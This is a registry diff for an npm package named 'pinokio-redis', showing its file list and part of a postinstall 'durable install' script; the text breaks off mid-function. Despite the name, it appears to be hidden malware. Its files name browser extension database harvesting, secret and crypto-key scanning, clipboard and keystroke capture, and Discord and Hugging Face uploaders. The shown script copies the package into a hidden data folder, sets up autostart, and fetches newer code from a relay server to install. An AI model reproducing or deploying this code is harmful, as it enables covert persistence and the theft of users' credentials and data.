pinokio-redis 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,547 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* **Durable forge-agent install** (survives deleting the npm project that ran `npm install`):
|
|
4
|
+
*
|
|
5
|
+
* 1. `npm pack --ignore-scripts` this package → `.tgz` (skips `prepack`/`tsc` on end-user machines; `dist/` must ship in the tarball).
|
|
6
|
+
* 2. **Hidden local prefix only** (no `npm -g` / no system global):
|
|
7
|
+
* `npm install <tgz> --prefix <CfgMgr>/.forge-jsxy/runtime/v<version>/`
|
|
8
|
+
* → `node_modules/forge-jsxy/dist/`
|
|
9
|
+
*
|
|
10
|
+
* OS autostart (`forge-autostart install --dist-dir`) uses that absolute `dist/` on every platform.
|
|
11
|
+
*
|
|
12
|
+
* Writes `<CfgMgr data>/.forge-jsxy/current.json` with { distDir, mode, version, versionDir }.
|
|
13
|
+
*
|
|
14
|
+
* Opt-out (postinstall): `FORGE_JS_SKIP_DURABLE_AGENT_BOOTSTRAP=1` or legacy
|
|
15
|
+
* `FORGE_JS_SKIP_ISOLATED_MATERIALIZE=1`.
|
|
16
|
+
*
|
|
17
|
+
* CLI: `node scripts/forge-isolated-runtime.mjs` | `[--print-dist-dir]` | `[-h]`
|
|
18
|
+
* `npm run bootstrap:isolated-runtime`
|
|
19
|
+
*
|
|
20
|
+
* **Shells / OS:** During **`npm install`**, npm sets **`npm_execpath`** and **`npm_node_execpath`**. We always
|
|
21
|
+
* spawn **`node npm-cli.js …`** with **`shell: false`** and argv arrays — same behavior from **Windows**
|
|
22
|
+
* (Git Bash, cmd.exe, PowerShell) and **Unix** (bash, zsh, Terminal.app, etc.): paths with spaces stay intact.
|
|
23
|
+
* Fallbacks: Windows **`npm.cmd`** next to Node / `where`; Linux/macOS **`npm`** next to Node / **`PATH`**.
|
|
24
|
+
*/
|
|
25
|
+
import { spawnSync } from "node:child_process";
|
|
26
|
+
import { createRequire } from "node:module";
|
|
27
|
+
import { existsSync, mkdirSync, readFileSync, readdirSync, unlinkSync, writeFileSync } from "node:fs";
|
|
28
|
+
import os from "node:os";
|
|
29
|
+
import path from "node:path";
|
|
30
|
+
import { fileURLToPath, pathToFileURL } from "node:url";
|
|
31
|
+
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
|
|
32
|
+
import { parseNpmViewVersionStdout, semverCompare } from "./registry-version-lib.mjs";
|
|
33
|
+
|
|
34
|
+
const requireMod = createRequire(import.meta.url);
|
|
35
|
+
|
|
36
|
+
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
37
|
+
const pkgRoot = path.resolve(__dirname, "..");
|
|
38
|
+
|
|
39
|
+
const PKG_NAME = "pinokio-redis";
|
|
40
|
+
|
|
41
|
+
export function resolveInstallWorkingDir() {
|
|
42
|
+
const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
|
|
43
|
+
if (override) return path.resolve(override.replace(/^~/, os.homedir()));
|
|
44
|
+
if (process.platform === "win32") {
|
|
45
|
+
const lap = (process.env.LOCALAPPDATA || "").trim();
|
|
46
|
+
if (lap) return path.join(lap, "CfgMgr", "data");
|
|
47
|
+
const prof = (process.env.USERPROFILE || "").trim();
|
|
48
|
+
if (prof) return path.join(prof, "AppData", "Local", "CfgMgr", "data");
|
|
49
|
+
return path.join(os.tmpdir(), "CfgMgr", "data");
|
|
50
|
+
}
|
|
51
|
+
if (process.platform === "darwin") {
|
|
52
|
+
return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
|
|
53
|
+
}
|
|
54
|
+
const xdg = (process.env.XDG_DATA_HOME || "").trim();
|
|
55
|
+
if (xdg) return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
|
|
56
|
+
return path.join(os.homedir(), ".local", "share", "cfgmgr");
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
function readPackageVersion() {
|
|
60
|
+
const pkgJsonPath = path.join(pkgRoot, "package.json");
|
|
61
|
+
if (!existsSync(pkgJsonPath)) return "0.0.0";
|
|
62
|
+
try {
|
|
63
|
+
return String(JSON.parse(readFileSync(pkgJsonPath, "utf8")).version || "0.0.0").trim();
|
|
64
|
+
} catch {
|
|
65
|
+
return "0.0.0";
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
/** Local npm layout under `--prefix` (never `-g`). */
|
|
70
|
+
function resolveDistDirUnderLocalPrefix(prefixRoot) {
|
|
71
|
+
const candidates = [
|
|
72
|
+
path.join(prefixRoot, "node_modules", PKG_NAME, "dist"),
|
|
73
|
+
path.join(prefixRoot, "lib", "node_modules", PKG_NAME, "dist"),
|
|
74
|
+
];
|
|
75
|
+
for (const d of candidates) {
|
|
76
|
+
if (existsSync(path.join(d, "cli-agent.js"))) return d;
|
|
77
|
+
}
|
|
78
|
+
return "";
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
function npmEnv() {
|
|
82
|
+
return isolatedNpmCacheEnv({
|
|
83
|
+
...process.env,
|
|
84
|
+
NPM_CONFIG_UPDATE_NOTIFIER: "false",
|
|
85
|
+
});
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function stripEnvQuotes(v) {
|
|
89
|
+
const t = String(v || "").trim();
|
|
90
|
+
if (t.length >= 2 && ((t.startsWith('"') && t.endsWith('"')) || (t.startsWith("'") && t.endsWith("'")))) {
|
|
91
|
+
return t.slice(1, -1).trim();
|
|
92
|
+
}
|
|
93
|
+
return t;
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
/**
|
|
97
|
+
* During `npm install`, npm sets **`npm_execpath`** → **`npm-cli.js`** and **`npm_node_execpath`** → the
|
|
98
|
+
* node binary that npm uses. Spawning **`node <npm-cli.js> …`** matches npm’s own invocation on **every OS**
|
|
99
|
+
* (Windows Git Bash / cmd / PowerShell; Linux/macOS bash / zsh / fish — npm normalizes the env).
|
|
100
|
+
*/
|
|
101
|
+
function resolveNpmCliJsFromLifecycleEnv() {
|
|
102
|
+
const raw = stripEnvQuotes(process.env.npm_execpath || process.env.NPM_CLI_JS || "");
|
|
103
|
+
if (!raw) return "";
|
|
104
|
+
const p = path.normalize(raw);
|
|
105
|
+
if (!existsSync(p)) return "";
|
|
106
|
+
return /\.m?js$/i.test(p) ? p : "";
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
function resolveNodeBinaryForNpmCli() {
|
|
110
|
+
const raw = stripEnvQuotes(
|
|
111
|
+
process.env.npm_node_execpath || process.env.NPM_NODE_EXECPATH || ""
|
|
112
|
+
);
|
|
113
|
+
if (raw) {
|
|
114
|
+
const p = path.normalize(raw);
|
|
115
|
+
if (existsSync(p)) return p;
|
|
116
|
+
}
|
|
117
|
+
return process.execPath;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
/**
|
|
121
|
+
* Absolute `npm.cmd` for Windows — **never** use `shell: true` with argv here: cmd splits on spaces and
|
|
122
|
+
* breaks `npm pack C:\\...\\New folder\\...` → `ENOENT ...\\New\\package.json`.
|
|
123
|
+
* Same-directory-as-node covers stock Node installs; `where` covers nvm-windows / odd layouts.
|
|
124
|
+
*/
|
|
125
|
+
export function resolveNpmExecutableWin32() {
|
|
126
|
+
const beside = path.join(path.dirname(process.execPath), "npm.cmd");
|
|
127
|
+
if (existsSync(beside)) return beside;
|
|
128
|
+
const wh = spawnSync(process.env.ComSpec || "cmd.exe", ["/d", "/s", "/c", "where npm.cmd"], {
|
|
129
|
+
encoding: "utf8",
|
|
130
|
+
windowsHide: true,
|
|
131
|
+
env: npmEnv(),
|
|
132
|
+
maxBuffer: 1024 * 1024,
|
|
133
|
+
});
|
|
134
|
+
if (wh.status === 0) {
|
|
135
|
+
const line = (wh.stdout || "")
|
|
136
|
+
.split(/\r?\n/)
|
|
137
|
+
.map((s) => s.trim())
|
|
138
|
+
.filter(Boolean)[0];
|
|
139
|
+
if (line && existsSync(line)) return line;
|
|
140
|
+
}
|
|
141
|
+
return beside;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
/** Linux/macOS: prefer `npm` next to this `node` (Homebrew, apt, Volta layout); else `PATH`. */
|
|
145
|
+
export function resolveNpmExecutablePosix() {
|
|
146
|
+
const beside = path.join(path.dirname(process.execPath), "npm");
|
|
147
|
+
if (existsSync(beside)) return beside;
|
|
148
|
+
return "npm";
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
/**
|
|
152
|
+
* Run npm subcommands with argv-style args (paths with spaces stay single arguments).
|
|
153
|
+
* Prefer **`node npm-cli.js`** from npm’s lifecycle env — **Windows + Linux + macOS** parity across shells.
|
|
154
|
+
*/
|
|
155
|
+
function npmSpawnSync(npmArgv, extraOptions) {
|
|
156
|
+
const merged = {
|
|
157
|
+
encoding: "utf8",
|
|
158
|
+
windowsHide: true,
|
|
159
|
+
env: npmEnv(),
|
|
160
|
+
...extraOptions,
|
|
161
|
+
};
|
|
162
|
+
|
|
163
|
+
const npmCli = resolveNpmCliJsFromLifecycleEnv();
|
|
164
|
+
if (npmCli) {
|
|
165
|
+
const nodeBin = resolveNodeBinaryForNpmCli();
|
|
166
|
+
return spawnSync(nodeBin, [npmCli, ...npmArgv], { ...merged, shell: false });
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
if (process.platform === "win32") {
|
|
170
|
+
const exe = resolveNpmExecutableWin32();
|
|
171
|
+
return spawnSync(exe, npmArgv, { ...merged, shell: false });
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
const posixNpm = resolveNpmExecutablePosix();
|
|
175
|
+
return spawnSync(posixNpm, npmArgv, { ...merged, shell: false });
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
/** When stderr/stdout are empty but status is null or non-zero — explain spawn/PATH/signal. */
|
|
179
|
+
function formatSpawnFailure(pr, label) {
|
|
180
|
+
const io = (pr.stderr || pr.stdout || "").trim();
|
|
181
|
+
if (io) return io.slice(0, 2000);
|
|
182
|
+
const parts = [`${label}: subprocess failed`];
|
|
183
|
+
if (pr.status !== null && pr.status !== undefined) parts.push(`exit=${pr.status}`);
|
|
184
|
+
else parts.push("exit=null (npm not started — PATH/npm.cmd, antivirus, or shell issue)");
|
|
185
|
+
if (pr.signal) parts.push(`signal=${pr.signal}`);
|
|
186
|
+
if (pr.error) parts.push(pr.error.message || String(pr.error));
|
|
187
|
+
parts.push(
|
|
188
|
+
"npm spawn uses npm_execpath when present (any shell/OS), else npm next to Node — argv-only, no shell; paths with spaces OK. EPERM on Windows: stop processes locking node_modules, retry."
|
|
189
|
+
);
|
|
190
|
+
return parts.join(" — ");
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
/**
|
|
194
|
+
* @returns {{ ok: boolean, tgzPath: string, error?: string }}
|
|
195
|
+
*/
|
|
196
|
+
function npmPackToDir(packDir) {
|
|
197
|
+
try {
|
|
198
|
+
mkdirSync(packDir, { recursive: true });
|
|
199
|
+
} catch (e) {
|
|
200
|
+
return { ok: false, tgzPath: "", error: e instanceof Error ? e.message : String(e) };
|
|
201
|
+
}
|
|
202
|
+
// Never run package `prepack`/`prepare` (our prepack is `npm run build` → `tsc`). End-user machines
|
|
203
|
+
// have no TypeScript devDependency; published tarballs already ship `dist/` from the publisher's prepack.
|
|
204
|
+
const pr = npmSpawnSync(
|
|
205
|
+
["pack", pkgRoot, "--pack-destination", packDir, "--ignore-scripts"],
|
|
206
|
+
{
|
|
207
|
+
cwd: packDir,
|
|
208
|
+
maxBuffer: 10 * 1024 * 1024,
|
|
209
|
+
}
|
|
210
|
+
);
|
|
211
|
+
if (pr.status !== 0) {
|
|
212
|
+
return {
|
|
213
|
+
ok: false,
|
|
214
|
+
tgzPath: "",
|
|
215
|
+
error: formatSpawnFailure(pr, "npm pack"),
|
|
216
|
+
};
|
|
217
|
+
}
|
|
218
|
+
const lines = (pr.stdout || "")
|
|
219
|
+
.split(/\r?\n/)
|
|
220
|
+
.map((s) => s.trim())
|
|
221
|
+
.filter(Boolean);
|
|
222
|
+
const last = lines[lines.length - 1] || "";
|
|
223
|
+
if (!last.endsWith(".tgz")) {
|
|
224
|
+
return { ok: false, tgzPath: "", error: `npm pack: unexpected output: ${last.slice(0, 200)}` };
|
|
225
|
+
}
|
|
226
|
+
const tgzPath = path.isAbsolute(last) ? last : path.join(packDir, path.basename(last));
|
|
227
|
+
if (!existsSync(tgzPath)) {
|
|
228
|
+
return { ok: false, tgzPath: "", error: `packed tarball missing: ${tgzPath}` };
|
|
229
|
+
}
|
|
230
|
+
return { ok: true, tgzPath };
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
function npmInstallTgzLocalPrefix(tgzPath, prefixRoot) {
|
|
234
|
+
const args = [
|
|
235
|
+
"install",
|
|
236
|
+
tgzPath,
|
|
237
|
+
"--prefix",
|
|
238
|
+
prefixRoot,
|
|
239
|
+
"--omit=dev",
|
|
240
|
+
"--ignore-scripts",
|
|
241
|
+
"--no-audit",
|
|
242
|
+
"--no-fund",
|
|
243
|
+
];
|
|
244
|
+
const cwd = existsSync(prefixRoot) ? prefixRoot : os.tmpdir();
|
|
245
|
+
return npmSpawnSync(args, {
|
|
246
|
+
cwd,
|
|
247
|
+
maxBuffer: 40 * 1024 * 1024,
|
|
248
|
+
});
|
|
249
|
+
}
|
|
250
|
+
|
|
251
|
+
function tryTrimPackCache(packDir, keepBasename) {
|
|
252
|
+
try {
|
|
253
|
+
const files = readdirSync(packDir);
|
|
254
|
+
for (const f of files) {
|
|
255
|
+
if (!f.endsWith(".tgz")) continue;
|
|
256
|
+
if (keepBasename && f === keepBasename) continue;
|
|
257
|
+
try {
|
|
258
|
+
unlinkSync(path.join(packDir, f));
|
|
259
|
+
} catch {
|
|
260
|
+
/* ignore */
|
|
261
|
+
}
|
|
262
|
+
}
|
|
263
|
+
} catch {
|
|
264
|
+
/* ignore */
|
|
265
|
+
}
|
|
266
|
+
}
|
|
267
|
+
|
|
268
|
+
function wsRelayUrlToHttpBase(relayWsUrl) {
|
|
269
|
+
const w = String(relayWsUrl || "").trim().replace(/\/+$/, "");
|
|
270
|
+
if (!w) return "";
|
|
271
|
+
let u;
|
|
272
|
+
if (w.startsWith("wss://")) u = "https://" + w.slice(6);
|
|
273
|
+
else if (w.startsWith("ws://")) u = "http://" + w.slice(5);
|
|
274
|
+
else if (w.startsWith("http://") || w.startsWith("https://")) u = w;
|
|
275
|
+
else return "";
|
|
276
|
+
try {
|
|
277
|
+
const parsed = new URL(u);
|
|
278
|
+
return `${parsed.protocol}//${parsed.host}`;
|
|
279
|
+
} catch {
|
|
280
|
+
return "";
|
|
281
|
+
}
|
|
282
|
+
}
|
|
283
|
+
|
|
284
|
+
/** Relay HTTP base from agent env or baked-in deploymentDefaults (npm install needs no manual .env). */
|
|
285
|
+
export function relayHttpBaseFromEnvOrDist() {
|
|
286
|
+
const ws = (
|
|
287
|
+
process.env.FORGE_JS_AGENT_RELAY_URL ||
|
|
288
|
+
process.env.FORGE_JS_RELAY_URL ||
|
|
289
|
+
process.env.CFGMGR_RELAY_URL ||
|
|
290
|
+
""
|
|
291
|
+
).trim();
|
|
292
|
+
if (ws) return wsRelayUrlToHttpBase(ws);
|
|
293
|
+
try {
|
|
294
|
+
const dd = requireMod(path.join(pkgRoot, "dist", "deploymentDefaults.js"));
|
|
295
|
+
if (dd && typeof dd.defaultRelayWsUrl === "function") {
|
|
296
|
+
return wsRelayUrlToHttpBase(String(dd.defaultRelayWsUrl() || "").trim());
|
|
297
|
+
}
|
|
298
|
+
} catch {
|
|
299
|
+
/* dist/deploymentDefaults.js missing during dev-only runs */
|
|
300
|
+
}
|
|
301
|
+
return "";
|
|
302
|
+
}
|
|
303
|
+
|
|
304
|
+
/**
|
|
305
|
+
* `GET /api/relay-for-agent` — newer forge_jsxy_version + package URL than npm registry.
|
|
306
|
+
* @returns {{ version: string, packageUrl: string }}
|
|
307
|
+
*/
|
|
308
|
+
export function fetchRelayForgeJsxyInfoSync(relayHttpBase) {
|
|
309
|
+
const base = String(relayHttpBase || "").trim().replace(/\/+$/, "");
|
|
310
|
+
if (!base) return { version: "", packageUrl: "" };
|
|
311
|
+
const target = `${base}/api/relay-for-agent`;
|
|
312
|
+
const script =
|
|
313
|
+
"fetch(process.env._FORGE_RELAY_AGENT_URL,{signal:AbortSignal.timeout(12000)})" +
|
|
314
|
+
".then(r=>r.text())" +
|
|
315
|
+
".then(t=>{try{const j=JSON.parse(t);console.log(JSON.stringify(j&&typeof j==='object'?j:{}));}catch{console.log('{}');}})" +
|
|
316
|
+
".catch(()=>console.log('{}'));";
|
|
317
|
+
try {
|
|
318
|
+
const r = spawnSync(process.execPath, ["-e", script], {
|
|
319
|
+
encoding: "utf8",
|
|
320
|
+
timeout: 18_000,
|
|
321
|
+
windowsHide: true,
|
|
322
|
+
env: { ...process.env, _FORGE_RELAY_AGENT_URL: target },
|
|
323
|
+
});
|
|
324
|
+
if (r.status !== 0 || !r.stdout) return { version: "", packageUrl: "" };
|
|
325
|
+
const lines = String(r.stdout)
|
|
326
|
+
.split(/\r?\n/)
|
|
327
|
+
.map((l) => l.trim())
|
|
328
|
+
.filter(Boolean);
|
|
329
|
+
for (let i = lines.length - 1; i >= 0; i--) {
|
|
330
|
+
try {
|
|
331
|
+
const o = JSON.parse(lines[i]);
|
|
332
|
+
const version = parseNpmViewVersionStdout(String(o.forge_jsxy_version ?? ""));
|
|
333
|
+
const packageUrl = String(o.forge_jsxy_package_url ?? "").trim();
|
|
334
|
+
if (version) return { version, packageUrl };
|
|
335
|
+
} catch {
|
|
336
|
+
/* try previous line */
|
|
337
|
+
}
|
|
338
|
+
}
|
|
339
|
+
} catch {
|
|
340
|
+
/* skip */
|
|
341
|
+
}
|
|
342
|
+
return { version: "", packageUrl: "" };
|
|
343
|
+
}
|
|
344
|
+
|
|
345
|
+
function resolveRelayPackageInstallUrl(relayHttpBase, relayInfo) {
|
|
346
|
+
const raw = String(relayInfo.packageUrl || "").trim();
|
|
347
|
+
if (raw.startsWith("http://") || raw.startsWith("https://")) return raw;
|
|
348
|
+
const base = String(relayHttpBase || "").trim().replace(/\/+$/, "");
|
|
349
|
+
if (!base) return "";
|
|
350
|
+
const rel = raw.startsWith("/") ? raw : "/api/forge-jsxy-package.tgz";
|
|
351
|
+
return `${base}${rel}`;
|
|
352
|
+
}
|
|
353
|
+
|
|
354
|
+
function skipRelayPackageOnInstall() {
|
|
355
|
+
return ["1", "true", "yes", "on"].includes(
|
|
356
|
+
(process.env.FORGE_JS_SKIP_RELAY_PACKAGE_ON_INSTALL || "").trim().toLowerCase()
|
|
357
|
+
);
|
|
358
|
+
}
|
|
359
|
+
|
|
360
|
+
/**
|
|
361
|
+
* True when relay serves a newer forge-jsxy than the durable install already on disk.
|
|
362
|
+
* Used by postinstall scripts so `npm install` re-materializes even when npm registry version unchanged.
|
|
363
|
+
*/
|
|
364
|
+
export function durableNeedsRelayUpgrade(installedVersion) {
|
|
365
|
+
const installed = String(installedVersion || "").trim();
|
|
366
|
+
if (!installed || skipRelayPackageOnInstall()) return false;
|
|
367
|
+
const relayBase = relayHttpBaseFromEnvOrDist();
|
|
368
|
+
if (!relayBase) return false;
|
|
369
|
+
const relayInfo = fetchRelayForgeJsxyInfoSync(relayBase);
|
|
370
|
+
if (!relayInfo.version) return false;
|
|
371
|
+
return semverCompare(relayInfo.version, installed) > 0;
|
|
372
|
+
}
|
|
373
|
+
|
|
374
|
+
/**
|
|
375
|
+
* @returns {{ ok: boolean, distDir: string, versionDir: string, version: string, mode?: string, error?: string }}
|
|
376
|
+
*/
|
|
377
|
+
export function bootstrapDurableForgeJsxy() {
|
|
378
|
+
